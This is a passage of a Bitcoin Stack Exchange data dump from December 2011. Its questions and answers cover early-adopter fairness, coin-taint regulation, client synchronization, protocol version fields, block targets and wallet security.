  <row Id="2109" PostTypeId="2" ParentId="2107" CreationDate="2011-12-01T19:32:31.733" Score="2" Body="&lt;p&gt;MtGox is an exchange (i.e. a place to sell and buy bitcoins for USD, EUR, GBP, etc.). If you want to get a few coins quickly you can buy them there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To generate blocks you need to use your computer's processing power (this is called mining). Currently, it is very hard to produce a block by yourself so most people mine in group and split the rewards (pool mining). Check this question for more information: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1433/how-can-i-start-mining-bitcoin&quot;&gt;How can I start mining Bitcoin?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2011-12-01T19:32:31.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2110" PostTypeId="1" CreationDate="2011-12-01T21:26:14.413" Score="15" ViewCount="1497" Body="&lt;p&gt;According to the Wikipedia article on &lt;a href=&quot;http://en.wikipedia.org/wiki/Bitcoin&quot;&gt;Bitcoin&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The initial bitcoin distribution is advantageous towards early-adopters. [...] However, the amount of work that must be done for one bitcoin is currently over 500,000 times more than the amount of work at which the first bitcoins were being distributed. As more people join, and also because of a reward function that halves the number of rewarded bitcoins every so many blocks, it becomes harder to generate bitcoins over time, using the same computing power.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So how is this fair? Why should someone get money just for hearing about Bitcoin before I did?&lt;/p&gt;&#xA;" OwnerUserId="742" LastEditorUserId="5406" LastEditDate="2016-02-02T09:16:18.120" LastActivityDate="2016-02-02T09:16:18.120" Title="Why is Bitcoin fair?" Tags="|mining-reward|reward-schedule|adoption|wealth-distribution|" AnswerCount="9" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2111" PostTypeId="2" ParentId="2110" CreationDate="2011-12-01T21:30:41.893" Score="2" Body="&lt;p&gt;I agree with you this &quot;early adopter advantage&quot; is not fair per se.  But the currency has to start somewhere.  And what most people mean when they say BitCoins are fair is there is not a big entity (governments) that are controlling how much money is circulated thereby reducing the value of everyone else's money.  Since the amount of Bitcoins in circulation will grow according to a set algorithm the system is &quot;fair&quot;&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2011-12-01T21:30:41.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2112" PostTypeId="2" ParentId="2110" CreationDate="2011-12-01T21:54:46.387" Score="14" Body="&lt;p&gt;It's a complete irrelevancy. It is still early, and Bitcoins are worth on the order of $3 each. If you want to be an early adopter, buy Bitcoins now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Bitcoins never become really valuable, what difference does it make whether it's fair or not? The sums involved will be modest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Bitcoins ever do become really valuable, what difference does it make whether it's fair or not? You can buy Bitcoins now for a pittance and get the same benefits as the early adopters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is just petty jealousy. It's no different from the folks who missed out on Google stock or Apple stock when it was cheap. It's not just about hearing about Bitcoins first, it's about &lt;em&gt;investing&lt;/em&gt; first, and taking the risk of loss. That's how everything works. Maybe it's not fair, but that's how it is.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-12-01T21:54:46.387" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2113" PostTypeId="2" ParentId="1844" CreationDate="2011-12-01T23:08:48.807" Score="1" Body="&lt;p&gt;Ask btc-e for the data. You can also ask me for some data (on irc or bitcointalk), but I don't have the complete set and it's only BTC/LTC pair.&#xA;Here's a postgres dump of the trades I have in my db: &lt;a href=&quot;http://www.mediafire.com/?q1iis15iv8gc7m6&quot; rel=&quot;nofollow&quot;&gt;http://www.mediafire.com/?q1iis15iv8gc7m6&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="365" LastActivityDate="2011-12-01T23:08:48.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2114" PostTypeId="2" ParentId="2110" CreationDate="2011-12-01T23:25:39.850" Score="1" Body="&lt;p&gt;If you believe the current implementation of bitcoin is unfair, you are welcome to start your own branch - since afterall the code is open source. You can change the rules. However, without disproportionally rewarding early adopters, I don't see how it would ever take off, but good luck none the less.&lt;/p&gt;&#xA;" OwnerUserId="17" LastActivityDate="2011-12-01T23:25:39.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2115" PostTypeId="2" ParentId="2110" CreationDate="2011-12-02T00:06:25.673" Score="8" Body="&lt;p&gt;It is not that someone gets money for hearing about Bitcoin before you. They get money for TAKING ACTION before you did. What gives Bitcoin value is all the people working on the software and services to make it better. What gives Bitcoin value is people educating others about it, and getting merchants to use it. What gives Bitcoin value is people acquiring it by exchange with other currencies as a show of faith. This pushes the price higher and creates more investment capital for the Bitcoin entrepreneurs and investors to launch more ventures for ...Bitcoin.  The reason they have more Bitcoin is because they are the ones who made Bitcoin what it is today. And YOU can help make Bitcoin what it is tomorrow.&lt;/p&gt;&#xA;" OwnerUserId="145" LastActivityDate="2011-12-02T00:06:25.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2116" PostTypeId="2" ParentId="2104" CreationDate="2011-12-02T00:16:52.923" Score="3" Body="&lt;p&gt;The headers message is sent in response to a getheaders message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The txn_count is always 0 simply to make the parsing of this packet compatible with the parsing of the block message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;getheaders is designed to be used by a simplified client, however since there is no way to get partial merkle branches using the standard protocol this cannot actually be done.&lt;/p&gt;&#xA;" OwnerUserId="734" LastActivityDate="2011-12-02T00:16:52.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2117" PostTypeId="2" ParentId="2110" CreationDate="2011-12-02T01:36:05.410" Score="8" Body="&lt;p&gt;Bitcoin was publicly announced before mining began. Those who were interested in cryptography and new digital technology were more likely than others to learn about it sooner, and it's perfectly fair that they were in a position to profit more from any rise in its value since its success would mean the information they were browsing had more value than the information others were consuming. Of those who learned about bitcoin, only a few took the initiative and got involved, something which was necessary for bitcoin to get to the stage it is at at this point in time, so it's fair that those individuals profit from its rise in value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To generalize, early adopters/investors who profit from emerging technologies are usually those who are interested in and learn about fields of technology that turn out to produce useful innovations, which is economically valuable since acquiring this knowledge increases the rate at which useful innovations are developed and adopted, and are those who show the initiative and invest their time and money in fledgling projects that the majority does not see much potential in, which also provides value to the economy by helping develop new technologies/businesses with high economic potential when few were willing to do so.&lt;/p&gt;&#xA;" OwnerUserId="7" LastEditorUserId="7" LastEditDate="2011-12-02T02:03:20.030" LastActivityDate="2011-12-02T02:03:20.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2118" PostTypeId="2" ParentId="2110" CreationDate="2011-12-02T03:47:03.663" Score="1" Body="&lt;p&gt;In what way is it &quot;unfair&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the first people started mining gold in California, were they being unfair to the people who started mining long after them? Nope.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first miners got a big reward because they took the big risk, others saw there was money to be made and followed them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just like with bitcoin: if those first miners/investors hadn't spent their time and energy on bitcoin then it wouldn't be here today for you to wonder why you waited so long to get in on it.&lt;/p&gt;&#xA;" OwnerUserId="743" LastActivityDate="2011-12-02T03:47:03.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2119" PostTypeId="1" AcceptedAnswerId="2121" CreationDate="2011-12-02T04:50:18.057" Score="17" ViewCount="1518" Body="&lt;p&gt;Already it's possible for MtGox etc. to detect spends of coins that have certain well-known thefts in their history. If regulators forced audits on exchanges and key popular merchants, as well as keeping track of coins they deemed to have been involved in illegal activities, they could make these exchanges and merchants pay a small tax on these 'tainted' transactions and pass this cost on to the consumer.  As the regulators 'tainted' coin list would be public, it would become in more and more peoples interest to use wallet software which subscribes to the 'taint' list in order to reject coins they know will incur a penalty upon spending. The more the regulator raises the tax at the exchanges and audited merchants, the more people must join.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Audited exchanges and merchants would have to submit batches of all bitcoin addresses involved in their transactions to the regulator. Agents could perform random transactions with exchanges and merchants to make sure 100% of transaction IDs are reported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this scenario realistic, and wouldn't this make Bitcoin ultimately a very controlled environment indeed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;('tainted' coins would still have value on black markets, creating a split system where bitcoins are no longer completely fungible)&lt;/p&gt;&#xA;" OwnerUserId="253" LastEditorUserId="196" LastEditDate="2012-08-03T15:13:56.920" LastActivityDate="2012-08-03T15:13:56.920" Title="Is there any way the Bitcoin network could resist a viral tainted-coin tagging system implemented by regulators?" Tags="|transactions|privacy|legal|" AnswerCount="9" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2120" PostTypeId="1" CreationDate="2011-12-02T05:14:04.533" Score="3" ViewCount="778" Body="&lt;p&gt;Bitcoin's characteristics seem to make it a prime candidate as a reserve currency, given it has fast transactions to anywhere in the world at a low cost with little to no price manipulation or export/import controls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine a traveller arriving in a foreign country, having bought 100 Bitcoins in his country. Rather than go through a middle-man currency exchange, he finds someone who wants Bitcoins (or even a Bitcoin ATM) and sell his Bitcoins for local currency.  When he is ready to leave, he simply sells back his local cash for Bitcoins without being hit twice by the currency exchange's transaction fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would have to happen to make this a reality?  Is it feasible?&lt;/p&gt;&#xA;" OwnerUserId="83" LastEditorUserId="5406" LastEditDate="2014-11-01T14:30:48.277" LastActivityDate="2018-03-15T05:07:13.643" Title="What is needed for Bitcoin to become the reserve currency of the world?" Tags="|currencies|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2121" PostTypeId="2" ParentId="2119" CreationDate="2011-12-02T05:21:05.783" Score="2" Body="&lt;p&gt;In a scenario where bitcoin becomes widely adopted and an important part of the economy, governments instituting such black lists is plausible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no technical means of resisting this. The only defense would be a social one, where people agree to only use exchanges, merchants, e-wallets and clients that don't discriminate against black-listed coins.&lt;/p&gt;&#xA;" OwnerUserId="7" LastActivityDate="2011-12-02T05:21:05.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2122" PostTypeId="2" ParentId="2120" CreationDate="2011-12-02T06:14:00.467" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You would be hit twice by the currency exchange anyway if you were to buy Bitcoins for your local currency, and then buy the foreign currency with Bitcoins. If you would perform those transactions at exchanges ran by large companies, there is little difference from a traditional model. If instead you would use exchanges like Mt.Gox, the spread would go back to the people, rather than a company. The spread might be smaller or bigger, it all depends on the market.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Banks and companies like Visa often allow you to withdraw foreign money at a local ATM in the foreign country, sometimes even not charging you anything for the operation asides the money conversion spread. You perform only one conversion for the bulk of your money, and whatever is left over you can sell back at the money exchange. So by bypassing Bitcoins, you can save money (if the banks operated at a comparable margin as the Bitcoin exchanges, be they owned by a single company or not).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Most Bitcoin exchanges offer you money withdrawal to a bank local to the currency. If you were a tourist, this would not be convenient for you, as you wouldn't have an account in any bank like that. An alternative would be a service like &lt;a href=&quot;https://www.okpay.com/en/index.html&quot; rel=&quot;nofollow&quot;&gt;OKPAY&lt;/a&gt;, but as it is to handle both Bitcoins and other currencies, there is no need for other exchanges.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So all in all, your proposed idea does not seem to be plausible at the moment. Main advantage of using Bitcoins for such a task is lowering the spread, which could also be accomplished without Bitcoins (say, an online community currency exchange). The proposed idea would however be more plausible if a whole country would adopt Bitcoins as its official currency, which is very unlikely to happen in the nearest foreseeable future (governments seem to move away from currencies tied to a limited resource, like gold or silver, to fiat currencies to enable easier growth).&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-12-02T06:14:00.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2123" PostTypeId="2" ParentId="2119" CreationDate="2011-12-02T06:22:36.547" Score="5" Body="&lt;p&gt;As all transactions are transparent and can be seen by anyone, there is no way of resisting it other than by the unwillingness of the community. Only problem I can see with the discrimination against certain coins, are transactions that have multiple inputs and outputs, which would either &quot;wash&quot; the dirty coins, thus making the point moot, or &quot;taint&quot; new coins, thus being able to &quot;infect&quot; many more addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I had 100 infected coins and sent each known address a Satoshi. At the moment the main client would accept that transaction and add the infected coin to your wallet. If you went with the tainting scenario, this would effectively taint the whole system. Of course, by then the clients would become more discriminatory about the coins they accept.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-12-02T06:22:36.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2124" PostTypeId="1" AcceptedAnswerId="2127" CreationDate="2011-12-02T06:25:46.787" Score="14" ViewCount="9601" Body="&lt;p&gt;Bitcoin newbie here. I recently installed the Bitcoin client, and purchased some bitcoins from Mt.Gox. My problem is that my client is constantly synchronizing. I've checked charts and seen that my Bitcoins were successfully purchased, but my client seems to be stuck &quot;Synchronizing with network&quot;. I've just got a constant loading icon in the bottom right, and when I hover over it it says it's &quot;catching up&quot;. As I said, I'm new. Is this normal? Can someone explain what's happening? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="746" LastEditorUserId="5406" LastEditDate="2021-03-26T20:22:37.730" LastActivityDate="2021-03-26T20:22:37.730" Title="I didn't receive a Bitcoin Payment. What does it mean when the Client is synchronizing?" Tags="|client|synchronization|canonical-question|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2125" PostTypeId="2" ParentId="2119" CreationDate="2011-12-02T06:35:46.367" Score="0" Body="&lt;p&gt;If you outlaw tainted coins, only outlaws will have tainted coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in short order they would get mixed back in.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2011-12-02T06:35:46.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2126" PostTypeId="2" ParentId="2110" CreationDate="2011-12-02T06:47:35.250" Score="6" Body="&lt;p&gt;Hearing about Bitcoin is the easy part. The hard part is having the vision to understand how it's revolutionary, spending the resources to acquire it (whether other currency or electricity/compute power), taking the risk that it might not eventually succeed - and in so doing, taking a part in helping Bitcoin succeed thus making the world a better place. This deserves to be rewarded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you had heard about Bitcoin when the rate was $1, or $0.3, or $0.06, or when they weren't traded at all and it was just some software written by some guy consuming power and generating worthless monopoly money - would you have invested? When the rate goes up to $1000 and someone else will come complaining how it's unfair, do you want to be the guy who had the vision to invest when it was $3 and profited from it, or the guy who had the opportunity and missed it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I am not suggesting that Bitcoin should be thought of as primarily an investment vehicle or recommending that you do invest. There really is risk in such an investment and you shouldn't make it unless you know what you're getting into. What I'm saying is that it's all your choice and it's fair to be rewarded for making the correct choices).&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2011-12-02T13:13:19.580" LastActivityDate="2011-12-02T13:13:19.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2127" PostTypeId="2" ParentId="2124" CreationDate="2011-12-02T06:55:39.773" Score="9" Body="&lt;p&gt;This is probably normal. &quot;Synchronizing with network&quot; really means &quot;downloading the block chain&quot;, and it can take a few hours to a day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following the &quot;catching up&quot; you should see the number of blocks already downloaded. At the time of this writing there are &lt;a href=&quot;http://blockexplorer.com/q/getblockcount&quot; rel=&quot;nofollow&quot;&gt;220,000&lt;/a&gt; blocks, when it reaches that you are fully synchronized. If the number keeps increasing you're probably on the right track.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can speed it up a bit by forwarding port 8333 on your router (not very important, if you don't know how you don't need to bother).&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="2306" LastEditDate="2013-02-17T16:24:33.920" LastActivityDate="2013-02-17T16:24:33.920" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2128" PostTypeId="2" ParentId="2119" CreationDate="2011-12-02T07:01:47.110" Score="4" Body="&lt;p&gt;Note that tracking coins isn't trivial. If I make a transaction with a tainted 10 BTC input, a clean 10 BTC input, and a 20 BTC output, is the output tainted? Half-tainted? Whatever the answer, the system will be complex and unintuitive and people won't be eager to go along with it.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2011-12-02T07:01:47.110" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2129" PostTypeId="1" AcceptedAnswerId="2130" CreationDate="2011-12-02T08:04:27.827" Score="5" ViewCount="1020" Body="&lt;p&gt;A field labelled &quot;version&quot; appears in many contexts regarding the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin protocol&lt;/a&gt;. Sometimes one uses the current version of the Bitcoin client (version message), sometimes 1 is used (block, tx), why is that? What are the rules in numbering those versions? For the context that uses 1s, would other values validate, or would they be rejected by the client?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2020-10-15T22:54:20.793" LastActivityDate="2020-10-15T22:54:20.793" Title="Version field in transactions, blocks, etc" Tags="|bitcoin-core|protocol|block-header|standard|transaction-version|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2130" PostTypeId="2" ParentId="2129" CreationDate="2011-12-02T08:46:29.770" Score="5" Body="&lt;p&gt;The format of messages occasionally needs to change. This is done in a backward-compatible way by exchanging versions in &lt;em&gt;version&lt;/em&gt; messages and communicating in the &quot;language&quot; of the client with the lowest version. Through this mechanism, clients running version 0.1 should still be able to talk to the latest clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blocks and transactions are special. When these formats are updated, nodes can't modify old messages to use the new format because this breaks the crypto. So version 2 nodes have to store and communicate both version 1 and version 2 blocks, and special version numbers are necessary to distinguish them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Block/transaction versions other than 1 are not accepted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;em&gt;version&lt;/em&gt; messages, use the same version as the client version that you're trying to be compatible with.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-12-02T08:46:29.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2131" PostTypeId="1" AcceptedAnswerId="2132" CreationDate="2011-12-02T10:02:01.173" Score="7" ViewCount="382" Body="&lt;p&gt;Having the difficulty (either in the &quot;bits&quot; form, big integer form, or human-readable format) and a given block hash, how does one know if they solved that block? What is the formula or algorithm for checking it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The question might seem trivial, but it does not seem to be described explicitly on the SE or the Wiki)&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-12-10T16:55:49.390" Title="How does one know they solved a block?" Tags="|protocol|difficulty|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2132" PostTypeId="2" ParentId="2131" CreationDate="2011-12-02T10:59:29.303" Score="5" Body="&lt;p&gt;Assuming everything else in the block is valid, the block hash simply needs to be smaller than the target. &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty&quot;&gt;https://en.bitcoin.it/wiki/Difficulty&lt;/a&gt; explains how to find the target from the bits representation; and to find it from the human-readable difficulty D, you calculate 2^208*(2^16-1)/D.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2011-12-02T10:59:29.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2133" PostTypeId="1" AcceptedAnswerId="2138" CreationDate="2011-12-02T13:36:43.490" Score="12" ViewCount="1111" Body="&lt;p&gt;Obviously, the computing power necessary to create the blockchain requires access to fast hashing which requires electricity. Given that local power outages do occur, and this can cause a lack of network availability, does this act as the Achilles heel for Bitcoin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to conduct Bitcoin transactions in the absence of electricity?&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="2306" LastEditDate="2014-09-12T00:50:03.307" LastActivityDate="2014-09-12T00:50:03.307" Title="Is Bitcoin inherently dependent on electricity?" Tags="|weaknesses|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2134" PostTypeId="2" ParentId="2110" CreationDate="2011-12-02T16:54:51.610" Score="4" Body="&lt;p&gt;From &lt;a href=&quot;https://en.bitcoin.it/wiki/Myths#Early_adopters_are_unfairly_rewarded&quot; rel=&quot;nofollow&quot;&gt;the FAQ&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Early adopters are rewarded for taking the higher risk with their time&#xA;  and money. In more pragmatic terms, &quot;fairness&quot; is an arbitrary concept&#xA;  that is improbable to be agreed upon by a large population.&#xA;  Establishing &quot;fairness&quot; is no goal of Bitcoin, as this would be&#xA;  impossible.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The vast majority of the 21 million Bitcoins still have not been&#xA;  distributed. By starting to mine or acquire bitcoins today, you too&#xA;  can become an early adopter.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-12-02T16:54:51.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2135" PostTypeId="1" AcceptedAnswerId="2137" CreationDate="2011-12-02T17:13:32.793" Score="6" ViewCount="629" Body="&lt;p&gt;Why is the &lt;a href=&quot;http://www.blockexplorer.com&quot;&gt;Block Explorer&lt;/a&gt; so slow?  It used to work reasonably fast, and now it just spins and spins for 20 minutes?  Is it doing some kind of timing out?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a very important utility for the whole Bitcoin network and it is in everyone's better interest that they can look up Bitcoin values without having to have an account somewhere.&lt;/p&gt;&#xA;" OwnerUserId="662" LastEditorUserId="105" LastEditDate="2011-12-02T18:51:22.863" LastActivityDate="2014-01-22T13:09:03.833" Title="Why is Block Explorer so slow?" Tags="|network|" AnswerCount="1" CommentCount="6" ClosedDate="2014-06-15T15:32:15.193" ContentLicense="CC BY-SA 3.0" />
  <row Id="2136" PostTypeId="2" ParentId="2119" CreationDate="2011-12-02T18:14:20.520" Score="1" Body="&lt;p&gt;I don't think your scenario is realistic. In particular, the idea of paying a penalty fee to &quot;clean&quot; tainted coins would indicate tacit acceptance of these illegal transactions. It seems more likely that they would forbid the acceptance of tainted coins altogether. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may have considered this eventuality and rejected it as the taint would spread as mentioned in &lt;a href=&quot;https://bitcoin.stackexchange.com/a/2128/684&quot;&gt;https://bitcoin.stackexchange.com/a/2128/684&lt;/a&gt;. You might imagine that the system would grind to a halt as nearly all coins become tainted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there is a mechanism to untaint coins which were tainted accidentally or in retrospect found to be tainted when some of the coins long in the past are suddenly declared tainted. All that is required is for the same value as the tainted coins be sent back to the tainted &quot;address&quot;. Slightly more technically, a new transaction with the tainted coins value is written with a scriptPubKey indentical to to scriptPubKey of the originally declared tainted transaction. &quot;Taintexplorer&quot; software, similar to Blockexplorer would be able to see the taint entering the transaction chain at a certain place and exiting later on. The remaining coins would be deemed to be untainted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this fashion, a clear distinction can be maintained between tainted and untainted coins. The most important feature of this is that the total value of coins declared tainted need only be as large as the aggregate value of the transactions declared tainted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe that if the Bitcoin system gains widespread acceptance then policing of businesses and transactions in the fashion described is inevitable.&lt;/p&gt;&#xA;" OwnerUserId="684" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2011-12-02T18:14:20.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2137" PostTypeId="2" ParentId="2135" CreationDate="2011-12-02T18:18:51.017" Score="5" Body="&lt;p&gt;On what pages is it slow? It only seems a little slower for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;mirror&quot; (which is actually usually the main server) went down for a while, so BBE switched to my server, which has much fewer resources.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-12-02T18:18:51.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2138" PostTypeId="2" ParentId="2133" CreationDate="2011-12-02T19:57:47.653" Score="9" Body="&lt;p&gt;The network is distributed, so it won't go down everywhere at once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Locally, on one hand it is similar to debit transactions - they need to get online to be processed. One can use cellphones though, which have their own batteries to run for awhile, so it's not too bad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, one can accept transactions offline (using QR codes for example) and later transmit them through the network, but that carries the risk of double spending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you want truly offline transactions with little risk, use things like &lt;a href=&quot;https://en.bitcoin.it/wiki/Casascius_physical_bitcoins&quot;&gt;Casascius physical Bitcoins&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-12-02T19:57:47.653" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2139" PostTypeId="2" ParentId="2119" CreationDate="2011-12-04T03:19:57.977" Score="10" Body="&lt;p&gt;I don't think the scenario is realistic because it would only punish innocent people. By the time coins could be marked as tainted, they would already be in the hands of innocent people. Governments don't do similar things with other currencies. For example, if you deposit dollar bills in a bank that turn out to have been stolen, the government could charge the bank a &quot;fee&quot; to clean the bills which the bank could pass on to you. But governments don't do that because they recognize that by the time the bills could get on a &quot;hot list&quot;, they're already in the hands of innocent people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also specific features of Bitcoin that make this difficult. Transactions put all the input Bitcoins into a big pile which they dole out as outputs. There's no concept of particular output Bitcoins corresponding to particular inputs. Bitcoins don't have a serial number that can be traced through the block chain. So any such tracking rules would be basically arbitrary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's just not something realistic. It's more realistic with physical currencies which have serial numbers and are widely used to facilitate crimes and buy contraband. And governments don't do it with physical currencies -- largely because they know it would only punish the innocent.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-12-04T03:19:57.977" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="2140" PostTypeId="1" AcceptedAnswerId="2143" CreationDate="2011-12-04T08:52:35.423" Score="9" ViewCount="1102" Body="&lt;p&gt;I read this &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/660&quot;&gt;little nugget on the bitcoin client bug tracker&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the bdb binary log files can also contain sensitive data such as private keys&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is that true? Does this mean that even with an encrypted wallet.dat, there might be a way that the private keys are written to disk unprotected? If so, what can I do about it?&lt;/p&gt;&#xA;" OwnerUserId="238" LastActivityDate="2011-12-04T23:24:44.670" Title="Does the BerkeleyDB-based wallet.dat implementation leak private key data?" Tags="|security|wallet|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2142" PostTypeId="2" ParentId="408" CreationDate="2011-12-04T14:54:35.203" Score="-4" Body="&lt;p&gt;I think hoarding is a major problem with the bitcoin. Allow me to copy an excerpt from a rant I published online about just this, available at &lt;a href=&quot;https://bitcointalk.org/index.php?topic=53683.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=53683.0&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;We'll begin with a background where the economy is growing. Everything is fine, until the bitcoin mines run dry: all 21 million bitcoins have been harvested. In order to adjust to the growing economy, an individual bitcoin becomes more valuable (deflation). During a period of deflation, money becomes more valuable even when it is unused. People realize this: why should they risk loss in investment when their money will gain value risk-free by letting it sit? As such, people stop investing and let their money sit untouched. Companies are no longer able to take out loans. Companies wither and die, people lose jobs. New companies cannot start as they cannot get their initial loan money. Due to the lack of production, the bitcoin shrinks sharply. The people who just kept their money away suffer, too, as the bitcoin is no longer backed by an economy. Bitcoins suddenly lose value and face hyperinflation. Now we're back we've a shattered economy, the bitcoin's a 21st-century [counterpart to the] German Mark after WW1 (i.e., worth practically nothing), and literally everybody involved has suffered. How is this supposed to be avoided?&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A growing bitcoin economy leads to deflation. Deflation means that hoarding is preferred to investing. Hoarding money decreases the money supply, causing more deflation so it becomes even better to hoard. Lack of investment means lack of capital. Lack of capital means that existing businesses cannot survive and new businesses cannot form. Production shrinks. The bitcoin suddenly loses much value and faces hyperinflation. 